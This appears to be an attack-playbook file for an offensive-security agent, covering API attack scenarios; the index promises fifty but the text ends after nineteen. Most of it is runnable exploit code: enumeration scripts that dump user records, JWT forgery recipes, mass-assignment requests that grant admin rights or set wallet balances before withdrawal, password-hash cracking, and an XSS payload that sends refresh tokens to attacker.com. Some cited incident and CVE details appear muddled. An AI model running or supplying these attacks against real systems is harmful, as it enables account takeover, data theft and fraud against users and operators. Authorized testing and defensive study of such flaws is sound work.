---
name: scenarios-api
description: "Real-world attack scenarios for API Security (OWASP API Top 10 2023) — CVEs, HackerOne disclosures, real engagement chains"
---

# API Security (OWASP API Top 10 2023) — Real-World Attack Scenarios

> Sources: OWASP API Security Top 10 2023 · HackerOne disclosed reports · CVE database · real red team engagements · PortSwigger research

## Index

- S01: BOLA via numeric ID enumeration (Peloton 2021)
- S02: BOLA via UUID — still vulnerable if no authz check
- S03: BOLA in GraphQL — `query{user(id:VICTIM){...}}`
- S04: BOLA via HTTP method change (GET blocked, PUT/DELETE not)
- S05: BOLA in nested object references
- S06: BOLA via indirect reference (filename, hash, base64)
- S07: JWT `alg:none` accepted
- S08: JWT weak HS256 secret brute force
- S09: JWT `kid` injection — path traversal to /dev/null
- S10: JWT algorithm confusion (RS256→HS256)
- S11: API key in URL path — leaked in nginx/CloudFront logs
- S12: API key in JS bundle — secretfinder / linkfinder
- S13: API key in mobile app — extracted via apktool/Frida
- S14: Long-lived bearer token with no rotation
- S15: Refresh token theft via XSS / reuse after rotation
- S16: Mass assignment → set `isAdmin:true` (GitHub 2012, CVE-2012-5664)
- S17: Mass assignment → set `role:admin` in PUT /api/users/me
- S18: Excessive data exposure — `/api/users/{id}` returns passwordHash
- S19: Mass assignment → set `balance:99999` on fintech APIs
- S20: BOPLA in PATCH endpoint — toggle `email_verified:true`
- S21: No pagination limit — `?limit=999999` dumps DB (Dell 2024)
- S22: No rate limit on /login → credential stuffing
- S23: GraphQL nested query DoS — `{user{posts{author{posts{...}}}}}`
- S24: Expensive endpoint without throttling — /api/export
- S25: Regular user calls /api/admin/users — missing role check
- S26: BFLA via HTTP method — OPTIONS reveals admin endpoints
- S27: Swagger UI in production — full admin endpoint map
- S28: BFLA via versioning — /api/v1/admin/ works when /v2 blocks
- S29: Coupon stacking — apply multiple exclusive codes
- S30: Buy item for $0 — negative quantity or zero decimal exploit
- S31: Mass account creation — abuse free trial logic
- S32: Inventory exhaustion — scalper bot via API
- S33: Webhook URL points to internal metadata — Capital One 2019 pattern
- S34: Image proxy fetches attacker URL — file:// and http://169.254.169.254
- S35: PDF generator fetches remote HTML — SSRF to internal
- S36: Swagger UI exposed at /api/docs in prod
- S37: GraphQL introspection enabled — full schema dump
- S38: CORS `*` with credentials
- S39: Debug endpoints — /api/debug, /api/_debug, /api/admin
- S40: Verbose error messages — stack trace with internal paths
- S41: Old API version /v1 still active — fewer security checks
- S42: Internal API exposed at /internal/, /api-internal/
- S43: Staging API at staging.target.com — different auth
- S44: Trusting 3rd-party price API → business logic bypass
- S45: Blindly following 3rd-party redirect URL (open redirect chain)
- S46: Consuming attacker-controlled geocoding response
- S47: API endpoint discovery in JS bundles (linkfinder)
- S48: Postman collection leaked on GitHub
- S49: API key in robots.txt / sitemap.xml
- S50: API spec on /openapi.json, /swagger.json, /api-spec

---

## S01: BOLA via numeric ID enumeration (Peloton 2021)
**Context:** Any API endpoint that takes a numeric object ID — `/api/users/{id}/profile`, `/api/orders/{id}`, `/api/invoices/{id}`. The single most common critical vulnerability class on HackerOne (36.4% rated High or Critical per the 2025 IDOR analysis of 250 disclosed reports).
**Seen in:** Peloton API breach (May 2021) — unauthenticated users could fetch any user's private profile (age, gender, weight, workout history) by enumerating user IDs. T-Mobile API breach 2023 (37M customers via similar BOLA pattern). HackerOne disclosed: "IDOR — Delete Campaigns" (2022), $20,000 bounty on GitLab project import IDOR.
**Impact:** Mass PII exfiltration, account takeover, regulatory fines (GDPR, CCPA, HIPAA).

### Detection
```bash
# 1. Get your own user object
curl -s https://target.com/api/v1/users/me -H "Authorization: Bearer $TOKEN"
# Returns: {"id": 12345, "email": "you@x.com", "name": "John"}

# 2. Test other IDs with same auth
for id in 12344 12346 12347 12348; do
  curl -s https://target.com/api/v1/users/$id -H "Authorization: Bearer $TOKEN" -o resp_$id.json
done

# 3. If 200 OK with another user's data → BOLA confirmed
cat resp_12344.json
```

### Exploit
```bash
# Mass enumeration with ffuf
ffuf -u "https://target.com/api/v1/users/FUZZ" \
     -H "Authorization: Bearer $TOKEN" \
     -w ids.txt -mc 200 -t 50 -o bola.json

# Extract emails, names, phones from all responses
cat bola.json | jq -r '.results[] | .url + " => " + (.output | @base64d | fromjson | .email)'

# Or use Burp Intruder with pitchfork / sniper
# Or use Autorize (BApp) to auto-detect via session comparison
```

### Chain
1. Register account A and account B
2. From account A's session, request account A's resources
3. Replace ID with account B's ID — if 200 OK, BOLA confirmed
4. Enumerate sequential IDs → mass data dump
5. Chain to account takeover (PII → password reset → ATO)

### Bypass / Notes
- UUIDs are NOT security — they only slow down enumeration, not prevent (S02)
- Auth0 `sub` claim vs URL ID mismatch — server trusts URL ID
- Some apps check ownership on `GET` but skip on `OPTIONS` / `HEAD`
- Peloton's API was unauthenticated — no token needed at all (worst case)
- Bounty: Peloton paid $2,500 + 1 year service; class-action lawsuit followed

---

## S02: BOLA via UUID — still vulnerable if no authz check
**Context:** Developers use UUIDs thinking they're "unguessable". UUID v4 has 122 bits of entropy, but if the server doesn't verify ownership, the UUID is just a reference, not a security control.
**Seen in:** HackerOne report #1094380 (2019) — Shopify partners dashboard, UUID used but no ownership check. Common pattern in healthcare APIs (patient UUIDs leakable). GitHub commit references leak UUIDs.
**Impact:** Same as numeric BOLA — full data access, but slower enumeration.

### Detection
```bash
# Get a UUID from your own account
curl https://target.com/api/v1/documents/me -H "Authorization: Bearer $TOKEN"
# Returns: {"id": "550e8400-e29b-41d4-a716-446655440000"}

# Test other UUIDs
curl https://target.com/api/v1/documents/550e8400-e29b-41d4-a716-446655440001 -H "Authorization: Bearer $TOKEN"

# UUIDs aren't secret if they leak from logs, Referer, JS source, or list endpoints
```

### Exploit
```bash
# Brute force UUID v4 is impractical (2^122), but...
# Attack surface:
# 1. UUID leaks in Referer header when viewing shared content
# 2. UUID leaks in analytics/JS files
# 3. UUIDs are sequential in some implementations (UUID v1 with timestamp)
# 4. Mass UUID leak via /api/backup, /api/export, /api/audit-log
# 5. List endpoints dump UUIDs

# List endpoints are the goldmine
curl https://target.com/api/v1/teams/123/members -H "Authorization: Bearer $TOKEN_A"
# Now use B's UUID with A's token
curl https://target.com/api/v1/users/$UUID_B -H "Authorization: Bearer $TOKEN_A"
```

### Chain
1. Use list endpoint as attacker to dump UUIDs of all users in a team/org
2. Use attacker token to read each user's resources by UUID
3. No ownership check = mass PII

### Bypass / Notes
- UUID v1 (timestamp-based) is partially predictable
- UUID in URL paths can be cached by CDN → may bypass auth check
- Defense: server compares session.user_id to resource.owner_id BEFORE responding

---

## S03: BOLA in GraphQL — `query{user(id:VICTIM){...}}`
**Context:** GraphQL APIs that resolve objects by ID without authorization check. Introspection makes it trivial to find the vulnerable resolver. Salt Security research: BOLA represents ~40% of all API attacks.
**Seen in:** Facebook's original GraphQL implementation had mass BOLA (2018 disclosures). HackerOne — many fintech GraphQL APIs with `user(id:)` resolvers. Peloton 2021 GraphQL endpoint exposed all user data.
**Impact:** Read/write any user's data through single query.

### Detection
```bash
# 1. Confirm introspection
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d '{
  "query": "{ __schema { queryType { name fields { name } } } }"
}'

# 2. Find object-by-id resolvers
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d '{
  "query": "{ __type(name: \"User\") { fields { name args { name type { name } } } } }"
}'

# 3. Try with another user's ID
curl -X POST https://target.com/graphql -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN_A" -d '{
  "query": "{ user(id: 1337) { email phone address ssn } }"
}'
```

### Exploit
```bash
# Batch IDOR via GraphQL aliases (bypasses rate limit)
curl -X POST https://target.com/graphql -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" -d '{
  "query": "{
    u1: user(id: 1) { email phone }
    u2: user(id: 2) { email phone }
    u3: user(id: 3) { email phone }
    u1000: user(id: 1000) { email phone }
  }"
}'

# Tool: graphqlmap, InQL (Burp extension) auto-generates BOLA queries
```

### Chain
1. Introspection → schema dump
2. Find user-by-id resolvers
3. Alias batching → 1000s of users in one request
4. Server can't rate-limit effectively on a single big request

### Bypass / Notes
- Batched requests count as 1 from rate limit perspective
- Some GraphQL middleware (Apollo) has built-in depth limiting — but not authz
- Defense: resolver-level authz check, not schema-level

---

## S04: BOLA via HTTP method change
**Context:** App checks authorization on `GET` but not on `PUT`, `DELETE`, or `PATCH`. Different code paths in REST controllers.
**Seen in:** Real engagements — common in PHP Laravel, Express.js, Django REST Framework when auth middleware is added per-method. HackerOne — multiple critical reports of method-based BOLA.
**Impact:** Modify or delete any user's resources.

### Detection
```bash
# 1. Confirm GET works for own resource
curl -X GET https://target.com/api/users/12345 -H "Authorization: Bearer $TOKEN_A"

# 2. Test PUT with victim's ID
curl -X PUT https://target.com/api/users/12346 \
  -H "Authorization: Bearer $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"name":"pwned"}'

# 3. Test DELETE
curl -X DELETE https://target.com/api/users/12346 -H "Authorization: Bearer $TOKEN_A"

# 4. Test PATCH
curl -X PATCH https://target.com/api/users/12346 \
  -H "Authorization: Bearer $TOKEN_A" \
  -d '{"email":"attacker@evil.com"}'

# 5. OPTIONS to discover allowed methods
curl -X OPTIONS https://target.com/api/users/12346 -i
```

### Exploit
```bash
# The classic chain: change victim's email → password reset → ATO
curl -X PATCH https://target.com/api/users/12346 \
  -H "Authorization: Bearer $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com"}'

# Then trigger password reset to attacker's email → ATO
curl -X POST https://target.com/api/auth/forgot \
  -d '{"email":"attacker@evil.com","user_id":12346}'
```

### Chain
1. Find any PATCH/PUT/DELETE endpoint
2. BOLA → change victim's email
3. Trigger password reset to attacker's email
4. Account takeover

### Bypass / Notes
- Check X-HTTP-Method-Override header (some frameworks honor it)
- Method override via body param: `_method=DELETE` in form data
- Server-side: enforce authz in middleware, not per-route

---

## S05: BOLA in nested object references
**Context:** Resources nested under another resource — `/api/organizations/{org_id}/projects/{project_id}/secrets/{secret_id}`. The check might verify org access but not the inner object.
**Seen in:** GitHub API — `/repos/{owner}/{repo}/issues/{number}` originally had IDOR in early versions. HackerOne — HackerOne's own program IDOR in nested routes.
**Impact:** Access deeply nested private resources.

### Detection
```bash
# Get your own nested resource
curl https://target.com/api/orgs/5/projects/100/secrets/abc-secret-1 -H "Authorization: Bearer $TOKEN_A"

# Try other org_id
curl https://target.com/api/orgs/6/projects/100/secrets/abc-secret-1 -H "Authorization: Bearer $TOKEN_A"

# Try other project_id
curl https://target.com/api/orgs/5/projects/101/secrets/abc-secret-1 -H "Authorization: Bearer $TOKEN_A"
```

### Exploit
```bash
# Enumerate outer object IDs (orgs)
for org_id in $(seq 1 1000); do
  curl -s "https://target.com/api/orgs/$org_id/projects" -H "Authorization: Bearer $TOKEN" >> orgs.json
done

# Then enumerate projects in each
# Then enumerate secrets/files in each project
# Mass dump of all data
```

### Chain
1. Enumerate organizations (low-priv user can see list of orgs)
2. For each org, enumerate projects (BOLA if no check)
3. For each project, dump secrets/files
4. Full multi-tenant data breach

### Bypass / Notes
- Some apps check outer object (org) but not inner (secret)
- Reverse the chain: get secret_id, work up to project_id and org_id
- Defense: every level must check authorization independently

---

## S06: BOLA via indirect reference (filename, hash, base64)
**Context:** Server returns an indirect reference — `/api/download?file=invoice_12345.pdf` — where the actual file path is on the server. Map indirect reference to victim's file.
**Seen in:** Common in document management systems. HackerOne — healthcare portal with `/api/patient/{patient_hash}/report` where hash was MD5 of patient_id.
**Impact:** Download any user's private files.

### Detection
```bash
# 1. Get your own indirect reference
curl https://target.com/api/download?file=invoice_12345.pdf -o my_invoice.pdf

# 2. Guess pattern
curl https://target.com/api/download?file=invoice_12346.pdf -o other.pdf
curl https://target.com/api/download?file=invoice_12344.pdf

# 3. If reference is base64
echo "12345" | base64  # MTIzNDU=
curl "https://target.com/api/download?ref=MTIzNDU="
curl "https://target.com/api/download?ref=MTIzNDY="
```

### Exploit
```bash
ffuf -u "https://target.com/api/download?file=invoice_FUZZ.pdf" \
     -H "Authorization: Bearer $TOKEN" \
     -w /path/to/ids.txt -mc 200 -t 30

# Extract PDFs → check ownership via metadata
exiftool invoice_*.pdf | grep -i author
```

### Chain
1. Find any file download endpoint
2. Enumerate IDs/filenames
3. Download all private files
4. Parse for sensitive PII, credentials, secrets

### Bypass / Notes
- If file paths are MD5/SHA1 hashes, rainbow tables work for numeric IDs
- Defense: use signed, expiring URLs (S3 presigned) or session-bound references

---

## S07: JWT `alg:none` accepted
**Context:** JWT libraries historically accepted the `alg:none` algorithm, meaning anyone can forge tokens without a signature. The library accepts the algorithm specified in the token header.
**Seen in:** CVE-2015-9235 (jsonwebtoken Node.js), CVE-2022-21449 (Java ECDSA — different but related). Real engagements — still found in 2024 in legacy apps.
**Impact:** Forge admin tokens, ATO, complete auth bypass.

### Detection
```bash
# 1. Get a valid JWT
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiam9obiJ9.signature"

# 2. Decode header
echo $TOKEN | cut -d. -f1 | base64 -d
# {"alg":"HS256","typ":"JWT"}

# 3. Forge token with alg:none
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr -d '=')
PAYLOAD=$(echo -n '{"user":"admin","role":"admin","id":1}' | base64 -w0 | tr -d '=')
FORGED="${HEADER}.${PAYLOAD}."

# 4. Try forged token
curl https://target.com/api/admin/users -H "Authorization: Bearer $FORGED"
# 200 OK? Critical BOLA + Broken Auth
```

### Exploit
```bash
# Tool: jwt_tool (https://github.com/ticarpi/jwt_tool)
python3 jwt_tool.py $TOKEN -X a  # algorithm confusion
python3 jwt_tool.py $TOKEN -X n  # alg:none
```

### Chain
1. Decode any user's JWT to understand claims
2. Forge `alg:none` token with admin role
3. Access /api/admin/* endpoints
4. Full ATO + admin access

### Bypass / Notes
- Some libraries check for explicit "none" but accept "None", "NONE", "nOnE"
- Some strip "none" to a falsy value (still vulnerable)
- Defense: explicitly reject `alg:none` AND enforce algorithm at verification time

---

## S08: JWT weak HS256 secret brute force
**Context:** HS256 JWTs are signed with a shared secret. If the secret is short, predictable, or leaked, anyone can forge tokens. Common secrets: "secret", "password", "jwt_secret", company name.
**Seen in:** Auth0 historical default keys (resolved). Real engagements — many startups use weak JWT secrets (still found in 2024).
**Impact:** Forge any user's JWT, including admin.

### Detection
```bash
# 1. Get a JWT
TOKEN="eyJ..."

# 2. Brute force with hashcat
hashcat -a 0 -m 16500 $TOKEN /usr/share/wordlists/rockyou.txt

# 3. Or use jwt_tool with built-in wordlist
python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt
```

### Exploit
```bash
SECRET="secret"  # cracked
HEADER=$(echo -n '{"alg":"HS256","typ":"JWT"}' | base64 -w0 | tr -d '=')
PAYLOAD=$(echo -n '{"user":"admin","role":"admin","exp":9999999999}' | base64 -w0 | tr -d '=')
SIG=$(echo -n "$HEADER.$PAYLOAD" | openssl dgst -sha256 -hmac "$SECRET" -binary | base64 -w0 | tr -d '=')
echo "$HEADER.$PAYLOAD.$SIG"
```

### Chain
1. Capture any JWT (your own)
2. Brute force the secret (5 min with rockyou.txt)
3. Forge admin token
4. Full compromise

### Bypass / Notes
- Use RS256 (asymmetric) instead of HS256 — public/private key separation
- Rotate secrets, use KMS for signing
- jwt_tool.py: https://github.com/ticarpi/jwt_tool

---

## S09: JWT `kid` injection — path traversal to /dev/null
**Context:** The `kid` (Key ID) header parameter tells the server which key to use for verification. If the server uses the `kid` value in a file path or DB query without sanitization, attacker can inject traversal.
**Seen in:** Real engagements — common pattern. Original research: Unit 221B (2018). HackerOne — multiple critical reports of kid SQLi/path traversal.
**Impact:** Forge admin tokens via signature bypass.

### Detection
```bash
# Decode JWT, look for kid
echo $TOKEN | cut -d. -f1 | base64 -d
# {"alg":"HS256","kid":"key-2024-01","typ":"JWT"}

# Try kid injection
HEADER=$(echo -n '{"alg":"HS256","kid":"../../dev/null","typ":"JWT"}' | base64 -w0 | tr -d '=')
PAYLOAD=$(echo -n '{"user":"admin","role":"admin"}' | base64 -w0 | tr -d '=')
FORGED="${HEADER}.${PAYLOAD}."

# kid as SQL injection
HEADER=$(echo -n '{"alg":"HS256","kid":"key1\" UNION SELECT \"a\" --","typ":"JWT"}' | base64 -w0 | tr -d '=')

# kid as SSRF
HEADER=$(echo -n '{"alg":"HS256","kid":"https://attacker.com/key.pem","typ":"JWT"}' | base64 -w0 | tr -d '=')
```

### Exploit
```bash
# Tool: jwt_tool has built-in kid exploits
python3 jwt_tool.py $TOKEN -X k
```

### Chain
1. Get any JWT, find `kid` in header
2. Test kid with /dev/null, SQLi, SSRF payloads
3. Forge admin token
4. Full ATO

### Bypass / Notes
- Validate `kid` is a known key from a fixed set
- Never use kid in a file path
- jku/jwk headers (similar) — also abusable for SSRF

---

## S10: JWT algorithm confusion (RS256 → HS256)
**Context:** Server uses RS256 (asymmetric), but library also accepts HS256. Attacker signs new token with the public RSA key as HMAC secret.
**Seen in:** CVE-2015-9235 (jsonwebtoken Node.js before v4.2.2). Real engagements — common in Node.js apps.
**Impact:** Forge admin tokens using the public key (which is, by definition, public).

### Detection
```bash
TOKEN="eyJhbGciOiJSUzI1NiIs..."
echo $TOKEN | cut -d. -f1 | base64 -d
# {"alg":"RS256","typ":"JWT"}

# Get public key
curl https://target.com/.well-known/jwks.json

# Forge HS256 token using the public key as HMAC secret
HEADER=$(echo -n '{"alg":"HS256","typ":"JWT"}' | base64 -w0 | tr -d '=')
PAYLOAD=$(echo -n '{"user":"admin","role":"admin","sub":"1"}' | base64 -w0 | tr -d '=')
PUBKEY=$(curl -s https://target.com/.well-known/jwks.json | jq -r '.keys[0]')
SIG=$(echo -n "$HEADER.$PAYLOAD" | openssl dgst -sha256 -mac HMAC -macopt hexkey:$(echo "$PUBKEY" | xxd -p | tr -d '\n') -binary | base64 -w0 | tr -d '=')
echo "$HEADER.$PAYLOAD.$SIG"
```

### Exploit
```bash
python3 jwt_tool.py $TOKEN -X k -pk public_key.pem
python3 jwt_tool.py $TOKEN -X a -pk rsa_public.pem
```

### Chain
1. Get public key from JWKS endpoint
2. Forge HS256 token with public key as HMAC secret
3. Server accepts HS256 token because library supports it
4. Admin access

### Bypass / Notes
- Pin algorithm at verification: jwt.verify(token, PUBLIC_KEY, {algorithms: ['RS256']})
- Use libs that don't allow algorithm switching (PyJWT >= 2.0)

---

## S11: API key in URL path — leaked in nginx/CloudFront logs
**Context:** API keys passed as URL parameters (`/api/v1/users?api_key=AKIAIOSFODNN7EXAMPLE`) end up in web server access logs, CDN logs, browser history, and Referer headers.
**Seen in:** AWS access keys leaked this way led to breaches. Common in Slack, Stripe, internal microservices. Uber 2016 breach — AWS keys in GitHub public repo.
**Impact:** Full API access as that user/service.

### Detection
```bash
# 1. Find URLs with api_key via JS analysis
cat app.js | grep -oE "(api[_-]?key|access[_-]?token)=[A-Za-z0-9]{20,}"
python3 linkfinder.py -i https://target.com -o results.html

# 2. Check robots.txt, sitemap.xml
curl https://target.com/robots.txt
curl https://target.com/sitemap.xml

# 3. Check Wayback Machine
curl "https://web.archive.org/web/2024*/target.com"
```

### Exploit
```bash
curl https://api.target.com/v1/users -H "Authorization: Bearer AKIAIOSFODNN7EXAMPLE"
```

### Chain
1. Find API key in JS / logs / Wayback
2. Test against /api/validate or /api/me to see permissions
3. Use key for full API access
4. Pivots based on key scope

### Bypass / Notes
- API keys should be in headers only, never URLs
- Use short-lived tokens (OAuth 2.0) instead of static API keys
- Rotate keys found in wild

---

## S12: API key in JS bundle — secretfinder / linkfinder
**Context:** Frontend apps bundle API keys, OAuth client secrets, and service tokens in JS files. Bundle is public, keys are public.
**Seen in:** Uber (2016) — AWS keys in GitHub public repo. Stripe keys in JS regularly reported. GitHub 2024 — 13M API keys/secrets in public repos.
**Impact:** Service impersonation, billing fraud, data exfiltration.

### Detection
```bash
# 1. Download main JS bundle
curl https://target.com/static/js/main.[hash].js -o main.js
katana -u https://target.com -js-crawl -d 3

# 2. Run secretfinder
python3 secretfinder.py -i https://target.com -o results.html
nuclei -u https://target.com -t exposures/

# 3. Search for specific patterns
grep -oE "AIza[0-9A-Za-z\\-_]{35}" main.js  # Google API key
grep -oE "AKIA[0-9A-Z]{16}" main.js        # AWS access key
grep -oE "sk_live_[0-9a-zA-Z]{24,}" main.js # Stripe live key
grep -oE "ghp_[0-9a-zA-Z]{36}" main.js      # GitHub PAT
grep -oE "xox[baprs]-[0-9a-zA-Z-]+" main.js # Slack tokens
```

### Exploit
```bash
# AWS
aws sts get-caller-identity --profile stolen_key
# Google
curl "https://maps.googleapis.com/maps/api/js?key=AIza..."
# Stripe
curl https://api.stripe.com/v1/charges -u sk_live_xxx:
# GitHub
curl -H "Authorization: token ghp_..." https://api.github.com/user
```

### Chain
1. Extract main JS bundle
2. Run secretfinder / linkfinder
3. Test each found key
4. Pivot based on key type and scope

### Bypass / Notes
- Keys should be on backend, not in JS
- Stripe "restricted keys" limit blast radius

---

## S13: API key in mobile app — extracted via apktool/Frida
**Context:** Android/iOS apps bundle OAuth client secrets, API keys, and 3rd-party service tokens. Extract via apktool, jadx, or runtime hooks via Frida.
**Seen in:** Many mobile apps. Venmo, Wish, SoundCloud, eBay all had keys extracted at some point. Uber 2016 mobile API key disclosure.
**Impact:** Mobile API access, often with elevated scopes (push notifications, payments).

### Detection
```bash
# 1. Download APK
adb shell pm list packages | grep target
adb pull /data/app/*/base.apk target.apk

# 2. Decompile
apktool d target.apk -o target_decoded
jadx target.apk -d target_jadx

# 3. Search for keys
grep -rE "AIza[0-9A-Za-z\\-_]{35}" target_jadx/
grep -rE "sk_live_[0-9a-zA-Z]{24,}" target_jadx/
grep -rE "AKIA[0-9A-Z]{16}" target_jadx/

# 4. Runtime hook via Frida
frida -U -f com.target.app -l ssl-pinning-bypass.js --no-pause
```

### Exploit
```bash
# With extracted AWS key
aws s3 ls --profile stolen_aws_key

# With extracted OAuth client_secret
curl -X POST https://oauth.target.com/token \
  -d "client_id=xxx&client_secret=EXTRACTED&grant_type=client_credentials"

# With extracted Stripe key
curl https://api.stripe.com/v1/charges?limit=100 -u sk_live_xxx:
```

### Chain
1. Get APK/IPA
2. Decompile (apktool / jadx / MobSF)
3. Search for hardcoded secrets
4. Test each — billing fraud, S3 data, OAuth tokens

### Bypass / Notes
- Some apps use native libs (.so) — need Ghidra / radare2
- ProGuard/R8 obfuscation makes it harder but not impossible
- Some apps do certificate pinning — bypass with Frida ssl-pinning-bypass

---

## S14: Long-lived bearer token with no rotation
**Context:** API issues a bearer token that never expires. No refresh, no rotation, no revocation. If stolen, valid forever.
**Seen in:** Older SaaS APIs, internal microservices, B2B integrations. Common in legacy enterprise apps. SolarWinds 2020 breach — tokens valid for years.
**Impact:** Persistent ATO; stolen token never expires.

### Detection
```bash
TOKEN=$(curl -s -X POST https://target.com/api/login -d '{"user":"x","pass":"y"}' | jq -r .token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null
# {"user":"x","exp":99999999999,"iat":1500000000}  # Token never expires
```

### Exploit
```bash
# Token = permanent access
curl https://target.com/api/users -H "Authorization: Bearer $TOKEN"
```

### Chain
1. Find a long-lived token (own account)
2. Wait weeks → still works → no rotation
3. If you can leak anyone's token → permanent ATO

### Bypass / Notes
- Short-lived access tokens (15 min) + refresh tokens (7 days) is the pattern
- Token revocation list for compromised tokens
- Bind tokens to TLS session / DPoP

---

## S15: Refresh token theft via XSS / reuse after rotation
**Context:** Refresh tokens (long-lived) are stored in localStorage → XSS steals them. Or refresh tokens can be reused after rotation.
**Seen in:** Real XSS chains to OAuth refresh tokens. OWASP ASVS V3.5.
**Impact:** Persistent ATO via stolen refresh token.

### Detection
```bash
RESP=$(curl -s -X POST https://target.com/api/auth/login -d '{"user":"x","pass":"y"}')
echo $RESP
# {"access_token":"...","refresh_token":"...","expires_in":3600}

# Test refresh token rotation
curl -X POST https://target.com/api/auth/refresh -d "refresh_token=$REFRESH"
# Reuse old refresh — does it work? If yes, no rotation enforced
```

### Exploit
```bash
# Steal via XSS
<script>fetch('https://attacker.com/?t='+localStorage.refresh_token)</script>

# Use stolen refresh
curl -X POST https://target.com/api/auth/refresh -d "refresh_token=$STOLEN"
```

### Chain
1. Find XSS in app
2. Steal refresh token from localStorage
3. Exchange for access token
4. Persistent ATO

### Bypass / Notes
- Store refresh tokens in HttpOnly cookies (not localStorage)
- Rotate refresh tokens on every use, detect reuse
- Bind tokens to client fingerprint / device

---

## S16: Mass assignment → set `isAdmin:true` (GitHub 2012, CVE-2012-5664)
**Context:** Server binds request body to model without filtering. Send extra fields to escalate privileges. GitHub's original mass assignment incident (2012) — researcher sent `public_key` field to `/api/users/keys` to add their SSH key to Rails' GitHub user.
**Seen in:** GitHub 2012 (Egor Homakov). HackerOne — thousands of mass assignment reports. CVE-2012-5664 (Rails). Real engagement 2023 — fintech API where `role:admin` in PATCH gave full admin.
**Impact:** Privilege escalation, ATO, balance manipulation.

### Detection
```bash
curl https://target.com/api/users/me -H "Authorization: Bearer $TOKEN"
# {"id":123,"name":"John","email":"x","role":"user","isAdmin":false}

curl -X PUT https://target.com/api/users/me \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name": "John", "isAdmin": true, "role": "admin", "permissions": ["*"]}'

curl https://target.com/api/users/me -H "Authorization: Bearer $TOKEN"
# isAdmin now true?
```

### Exploit
```bash
# Common fields to try
# isAdmin: true, role: admin, permissions: ["*"], groups: ["admins"]
# tenant: "root", balance: 999999, credits: 99999
# subscription: "enterprise", verified: true, email_verified: true
# 2fa_enabled: false, isVerified: true, account_type: "business"

curl -X PATCH https://target.com/api/users/me \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","isAdmin":true,"role":"admin","permissions":["*"],"isVerified":true,"email_verified":true,"subscription":"enterprise","balance":999999,"credits":99999}'
```

### Chain
1. Register normal user
2. Mass assign admin role via PATCH/PUT
3. Access admin endpoints with same token
4. Full ATO + privilege escalation

### Bypass / Notes
- Strong parameters pattern (Rails) — only allow whitelisted fields
- DTOs in Java — never bind request to entity
- DTO mapping in Node/Express — use class-validator with strict allowlist

---

## S17: Mass assignment → set `role:admin` in PUT /api/users/me
**Context:** Specific to role/permission fields. Server's User model has a `role` field; if not filtered, role can be set via API.
**Seen in:** Common. Real engagement 2023 — fintech API where `role:admin` in PATCH gave full admin.
**Impact:** Vertical privilege escalation.

### Detection
```bash
for field in role isAdmin is_admin admin_type user_type permissionLevel; do
  curl -X PATCH https://target.com/api/users/me \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d "{\"$field\":\"admin\"}"
done

curl https://target.com/api/users/me -H "Authorization: Bearer $TOKEN"
```

### Exploit
```bash
curl https://target.com/api/admin/dashboard -H "Authorization: Bearer $TOKEN"
curl https://target.com/api/admin/users -H "Authorization: Bearer $TOKEN"
```

### Chain
1. Register
2. Mass assign role
3. Admin access
4. Pivot

### Bypass / Notes
- Server should never accept role/permission changes from user-editable endpoints
- Role changes should require admin privileges on a separate, dedicated endpoint

---

## S18: Excessive data exposure — `/api/users/{id}` returns passwordHash
**Context:** API returns entire user object including sensitive fields the frontend doesn't need (password hashes, SSN, internal flags). OWASP API3:2023 BOPLA.
**Seen in:** Facebook GraphQL originally returned friend_password_hints. Common in Node.js apps. Duolingo 2023 — public API returned user data from email lookup.
**Impact:** PII leak, password cracking (if bcrypt cost too low), internal infrastructure info.

### Detection
```bash
# Compare what frontend uses vs what API returns
# 1. Open browser DevTools → Network → /api/users/me
# 2. Look for sensitive fields the UI doesn't show
#    - passwordHash, password, pwd, ssn, socialSecurity
#    - internal_id, employee_id, created_by, last_login_ip
#    - credit_card_last4, cvv, api_key, secret

curl https://target.com/api/users/me -H "Authorization: Bearer $TOKEN" | jq
```

### Exploit
```bash
# If passwordHash exposed
curl https://target.com/api/users/1 -H "Authorization: Bearer $TOKEN" | jq .passwordHash
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hashes.txt
hashcat -a 0 -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

# Mass dump all users
ffuf -u "https://target.com/api/users/FUZZ" -H "Authorization: Bearer $TOKEN" \
     -w ids.txt -mc 200 -o users.json
cat users.json | jq -r '.results[].output' | jq -r '.passwordHash' | sort -u > all_hashes.txt
hashcat -a 0 -m 0 all_hashes.txt rockyou.txt
```

### Chain
1. Find endpoint returning excessive data
2. Dump all users → all password hashes
3. Crack hashes with rockyou
4. Credential stuffing or direct ATO

### Bypass / Notes
- DTOs that explicitly list safe fields
- Don't return internal model representations
- Filter sensitive fields in serializer

---

## S19: Mass assignment → set `balance:99999` on fintech APIs
**Context:** Wallet/balance field in user object. Server allows user to set it via PATCH.
**Seen in:** Real engagement 2022 — neobank had `balance` field in PATCH /api/wallet; setting it to 999999 worked.
**Impact:** Free money (or in some apps, just integer overflow → negative balance → debt-to-collect).

### Detection
```bash
curl -X PATCH https://target.com/api/wallet \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"balance": 999999}'

# Or POST /api/wallet/deposit with negative amount
curl -X POST https://target.com/api/wallet/deposit \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"amount": -1000000}'
```

### Exploit
```bash
curl -X PATCH https://target.com/api/wallet \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"balance": 999999}'

curl -X POST https://target.com/api/wallet/withdraw \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"amount": 999999, "destination": "attacker_bank"}'
```

### Chain
1. Find wallet/balance endpoint
2. Mass assign balance
3. Withdraw
4. Cash out

### Bypass / Notes
- Server should reject user-set balance changes
